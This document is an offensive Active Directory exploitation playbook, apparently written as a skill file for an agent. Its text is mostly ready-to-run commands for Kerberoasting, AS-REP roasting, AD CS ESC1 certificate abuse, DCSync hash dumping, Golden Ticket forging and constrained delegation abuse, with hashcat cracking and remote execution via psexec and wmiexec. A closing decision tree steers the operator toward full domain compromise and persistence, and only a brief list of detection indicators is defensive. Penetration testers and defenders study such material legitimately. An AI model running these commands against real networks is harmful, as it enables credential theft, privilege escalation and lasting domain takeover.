Ad

Active Directory Exploitation Knowledge Base

Active Directory exploitation targets authentication protocols, certificate services, and trust relationships to escalate privileges, extract credentials, and achieve domain dominance. All techniques require prior domain access (compromised user or machine account).

Quick Reference — Common AD Attack Patterns

# BloodHound collection (SharpHound from Windows)
SharpHound.exe -c All --outputdirectory bloodhound/

# BloodHound collection (bloodhound-python from Linux)
bloodhound-python -u '<USER>' -p '<PASS>' -d <TARGET> -ns <DC_IP> -c all --zip -o bloodhound/

# Kerberoast all SPNs
impacket-GetUserSPNs '<DOMAIN>/<USER>:<PASS>' -dc-ip <DC_IP> -request -outputfile kerberoast_hashes.txt

# AS-REP Roast
impacket-GetNPUsers '<DOMAIN>/' -dc-ip <DC_IP> -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

# DCSync — dump all hashes
impacket-secretsdump '<DOMAIN>/<USER>:<PASS>'@<DC_IP> -outputfile dcsync_dump

# AD CS enumeration
certipy find -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <DC_IP> -stdout > adcs_enum.txt

MITRE ATT&CK Mapping

1. BloodHound / SharpHound — Attack Path Analysis

Data Collection

SharpHound (Windows)

# All collection methods — generates ZIP for BloodHound import
SharpHound.exe -c All --outputdirectory C:\workspace\bloodhound\

# Stealth collection — sessions only (lower noise)
SharpHound.exe -c Session --loop --loopduration 02:00:00

# Specific collection types
SharpHound.exe -c DCOnly           # DC queries only — no host enumeration
SharpHound.exe -c Group,ACL,Trust  # Targeted collection

bloodhound-python (Linux)

# Full collection from Linux
bloodhound-python -u '<USER>' -p '<PASS>' -d <TARGET> -ns <DC_IP> -c all --zip -o bloodhound/

# With NTLM hash (pass-the-hash)
bloodhound-python -u '<USER>' --hashes ':<NT_HASH>' -d <TARGET> -ns <DC_IP> -c all --zip -o bloodhound/

Key BloodHound Queries

# Find shortest path to Domain Admins
MATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@<TARGET>"})) RETURN p

# Find Kerberoastable users with admin paths
MATCH (u:User {hasspn:true})-[*1..5]->(g:Group {highvalue:true}) RETURN u.name, g.name

# Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.description

# Find users with DCSync rights
MATCH p=(n)-[:GetChanges|GetChangesAll*1..]->(d:Domain) RETURN p

# Find constrained delegation targets
MATCH (c {allowedtodelegate: true}) RETURN c.name, c.allowedtodelegate

2. Kerberoasting

Targets service accounts with SPNs. Requests TGS tickets encrypted with the service account's password hash, then cracks offline.

Enumeration & Extraction

Impacket (Linux)

# Request all kerberoastable TGS tickets
impacket-GetUserSPNs '<DOMAIN>/<USER>:<PASS>' -dc-ip <DC_IP> -request -outputfile kerberoast_hashes.txt

# With NTLM hash
impacket-GetUserSPNs '<DOMAIN>/<USER>' -hashes ':<NT_HASH>' -dc-ip <DC_IP> -request -outputfile kerberoast_hashes.txt

# Target a specific SPN
impacket-GetUserSPNs '<DOMAIN>/<USER>:<PASS>' -dc-ip <DC_IP> -request-user '<SPN_USER>' -outputfile kerberoast_target.txt

Rubeus (Windows)

# Kerberoast all SPNs
Rubeus.exe kerberoast /outfile:C:\workspace\kerberoast_hashes.txt

# Target specific user
Rubeus.exe kerberoast /user:<SPN_USER> /outfile:C:\workspace\kerberoast_target.txt

# Use RC4 downgrade for easier cracking (noisier)
Rubeus.exe kerberoast /rc4opsec /outfile:C:\workspace\kerberoast_rc4.txt

# Use AES (stealthier, harder to crack)
Rubeus.exe kerberoast /aes /outfile:C:\workspace\kerberoast_aes.txt

Offline Cracking

# Hashcat — Kerberos 5 TGS-REP (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o kerberoast_cracked.txt

# With multiple wordlists
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt /usr/share/wordlists/custom.txt -o kerberoast_cracked.txt

# AES-encrypted TGS tickets (mode 19700)
hashcat -m 19700 kerberoast_aes_hashes.txt /usr/share/wordlists/rockyou.txt -o kerberoast_aes_cracked.txt

3. AS-REP Roasting

Targets accounts with "Do not require Kerberos pre-authentication" enabled. No valid credentials required — only a username list.

Enumeration & Extraction

Impacket (Linux)

# With a user list (no creds needed)
impacket-GetNPUsers '<DOMAIN>/' -dc-ip <DC_IP> -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

# With valid creds — enumerate and roast automatically
impacket-GetNPUsers '<DOMAIN>/<USER>:<PASS>' -dc-ip <DC_IP> -request -format hashcat -outputfile asrep_hashes.txt

Rubeus (Windows)

# AS-REP Roast all vulnerable accounts
Rubeus.exe asreproast /format:hashcat /outfile:C:\workspace\asrep_hashes.txt

# Target specific user
Rubeus.exe asreproast /user:<TARGET_USER> /format:hashcat /outfile:C:\workspace\asrep_target.txt

Offline Cracking

# Hashcat — Kerberos 5 AS-REP (mode 18200)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o asrep_cracked.txt

4. AD CS Abuse — ESC1 (Certificate Template Exploitation)

ESC1: Certificate template allows requesters to specify a Subject Alternative Name (SAN), enabling impersonation of any domain user including Domain Admins.

Prerequisites

• Enrollment rights on a vulnerable template
• Template allows client authentication (EKU)
• Template permits SAN specification (ENROLLEE_SUPPLIES_SUBJECT)

Enumeration

Certipy (Linux)

# Enumerate all CA and template information
certipy find -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <DC_IP> -stdout > adcs_enum.txt

# Find vulnerable templates specifically
certipy find -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <DC_IP> -vulnerable -stdout > adcs_vulnerable.txt

Certify (Windows)

# Enumerate CAs and templates
Certify.exe cas
Certify.exe find

# Find vulnerable templates
Certify.exe find /vulnerable

ESC1 Exploitation

Certipy (Linux)

# Request certificate with SAN of Domain Admin
certipy req -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<TEMPLATE_NAME>' -upn 'administrator@<DOMAIN>' -out admin_cert

# Authenticate with the certificate (PKINIT)
certipy auth -pfx admin_cert.pfx -dc-ip <DC_IP> -domain <TARGET>

# Output: NT hash of the impersonated user — use for pass-the-hash

Certify + Rubeus (Windows)

# Request certificate with SAN
Certify.exe request /ca:<CA_NAME> /template:<TEMPLATE_NAME> /altname:administrator

# Convert PEM to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx

# Authenticate with certificate via Rubeus (PKINIT)
Rubeus.exe asktgt /user:administrator /certificate:C:\workspace\admin.pfx /ptt

5. DCSync Attack

Impersonates a Domain Controller to request password replication data. Requires DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights (typically Domain Admins, Enterprise Admins, or DC machine accounts).

Check Replication Rights

# BloodHound query
MATCH p=(n)-[:GetChanges|GetChangesAll*1..]->(d:Domain) RETURN p

# Impacket — check ACLs
impacket-findDelegation '<DOMAIN>/<USER>:<PASS>' -dc-ip <DC_IP>

Execution

Impacket secretsdump.py (Linux)

# DCSync all accounts
impacket-secretsdump '<DOMAIN>/<USER>:<PASS>'@<DC_IP> -outputfile dcsync_dump

# DCSync specific user (stealthier)
impacket-secretsdump '<DOMAIN>/<USER>:<PASS>'@<DC_IP> -just-dc-user administrator -outputfile dcsync_admin

# With pass-the-hash
impacket-secretsdump '<DOMAIN>/<USER>'@<DC_IP> -hashes ':<NT_HASH>' -just-dc -outputfile dcsync_dump

Mimikatz (Windows)

# DCSync all accounts
mimikatz # lsadump::dcsync /domain:<TARGET> /all /csv

# DCSync specific user
mimikatz # lsadump::dcsync /domain:<TARGET> /user:administrator

# DCSync krbtgt (for Golden Ticket creation)
mimikatz # lsadump::dcsync /domain:<TARGET> /user:krbtgt

Output Format

# secretsdump output format:
<DOMAIN>\<USER>:<RID>:<LM_HASH>:<NT_HASH>:::

# Key accounts to extract:
# - Administrator (RID 500) — domain admin access
# - krbtgt — Golden Ticket creation
# - Machine accounts — lateral movement via S4U

6. Golden Ticket Creation

Forges a TGT using the krbtgt account hash, granting unlimited access as any user for the lifetime of the ticket (default 10 years). Requires the krbtgt NTLM hash (obtained via DCSync).

Prerequisites

• krbtgt NTLM hash
• Domain SID (whoami /user or impacket-lookupsid)
• Domain FQDN

Forge the Ticket

Mimikatz (Windows)

# Create Golden Ticket and inject into memory
mimikatz # kerberos::golden /user:administrator /domain:<TARGET> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_NT_HASH> /ptt

# Create Golden Ticket and save to file
mimikatz # kerberos::golden /user:administrator /domain:<TARGET> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_NT_HASH> /ticket:C:\workspace\golden.kirbi

# With specific groups (Domain Admins=512, Enterprise Admins=519, Schema Admins=518)
mimikatz # kerberos::golden /user:administrator /domain:<TARGET> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_NT_HASH> /groups:512,519,518 /ptt

Impacket ticketer.py (Linux)

# Create Golden Ticket
impacket-ticketer -nthash '<KRBTGT_NT_HASH>' -domain-sid '<DOMAIN_SID>' -domain '<TARGET>' administrator -outputfile golden

# Use the ticket
export KRB5CCNAME=golden.ccache
impacket-psexec '<TARGET>/administrator@<DC_HOSTNAME>' -k -no-pass
impacket-secretsdump '<TARGET>/administrator@<DC_HOSTNAME>' -k -no-pass
impacket-wmiexec '<TARGET>/administrator@<DC_HOSTNAME>' -k -no-pass

Lookup Domain SID

# From Linux
impacket-lookupsid '<DOMAIN>/<USER>:<PASS>'@<DC_IP> 0

# From Windows
whoami /user
# Remove the last RID portion (-500, -1001, etc.) to get the domain SID

7. Constrained Delegation Abuse

Abuses S4U2self and S4U2proxy Kerberos extensions. A compromised account with constrained delegation can impersonate any user to the delegated service.

Enumeration

# Find accounts with constrained delegation (Impacket)
impacket-findDelegation '<DOMAIN>/<USER>:<PASS>' -dc-ip <DC_IP> -target-domain <TARGET>

# BloodHound query
MATCH (c {allowedtodelegate: true}) RETURN c.name, c.allowedtodelegate

# PowerShell
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

S4U2self / S4U2proxy Exploitation

Impacket getST.py (Linux)

# Request service ticket via S4U — impersonate administrator to target service
impacket-getST '<DOMAIN>/<COMPROMISED_ACCOUNT>:<PASS>' -spn '<TARGET_SPN>' -impersonate administrator -dc-ip <DC_IP> -outputfile s4u_ticket

# With NTLM hash
impacket-getST '<DOMAIN>/<COMPROMISED_ACCOUNT>' -hashes ':<NT_HASH>' -spn '<TARGET_SPN>' -impersonate administrator -dc-ip <DC_IP> -outputfile s4u_ticket

# Use the resulting ticket
export KRB5CCNAME=s4u_ticket.ccache
impacket-psexec '<TARGET>/administrator@<TARGET_HOST>' -k -no-pass
impacket-smbexec '<TARGET>/administrator@<TARGET_HOST>' -k -no-pass

Rubeus (Windows)

# S4U full chain — request TGT, then S4U2self, then S4U2proxy
Rubeus.exe s4u /user:<COMPROMISED_ACCOUNT> /rc4:<NT_HASH> /impersonateuser:administrator /msdsspn:<TARGET_SPN> /ptt

# With AES256 key
Rubeus.exe s4u /user:<COMPROMISED_ACCOUNT> /aes256:<AES_KEY> /impersonateuser:administrator /msdsspn:<TARGET_SPN> /ptt

# Alternate service name (service name swapping)
Rubeus.exe s4u /user:<COMPROMISED_ACCOUNT> /rc4:<NT_HASH> /impersonateuser:administrator /msdsspn:<TARGET_SPN> /altservice:cifs,host,ldap /ptt

Common Delegation Targets

Tools & Resources

Detection Signatures

Behavioral Indicators

• Sudden spike in TGS requests from a single account (Kerberoasting)
• AS-REQ for accounts that normally use pre-auth (AS-REP Roasting)
• Replication traffic from non-DC IP addresses (DCSync)
• TGT with abnormal lifetime or group memberships (Golden Ticket)
• S4U2self/S4U2proxy requests from unexpected accounts (Delegation abuse)
• Certificate requests with SAN different from requesting user (AD CS ESC1)

Decision Gate

AD Exploitation successful?
├── YES → Credentials obtained
│   ├── Service account cracked → Lateral Movement (use creds to pivot)
│   ├── Domain Admin hash → DCSync → Full domain compromise
│   ├── krbtgt hash → Golden Ticket → Persistence
│   ├── Certificate obtained → PKINIT auth → Privilege Escalation
│   └── Delegation abused → Service impersonation → Lateral Movement
└── NO → Reassess
    ├── No Kerberoastable SPNs → Enumerate other attack paths (ACL abuse, GPO)
    ├── Hashes not cracking → Expand wordlists, try rules, check for AES-only
    ├── No vulnerable templates → Check ESC2-ESC8, other AD CS vectors
    ├── Insufficient rights for DCSync → Escalate via ACL abuse or delegation
    └── No delegation found → Check resource-based constrained delegation (RBCD)

Bundled Resources

References

• references/attack-paths.md — BloodHound Cypher queries, SharpHound collection methods, Kerberos attack reference (SPN enum, Hashcat modes), AD CS ESC1/ESC8, DCSync chain, Golden Ticket creation, constrained delegation abuse. Read when you need detailed command references for specific AD attack vectors.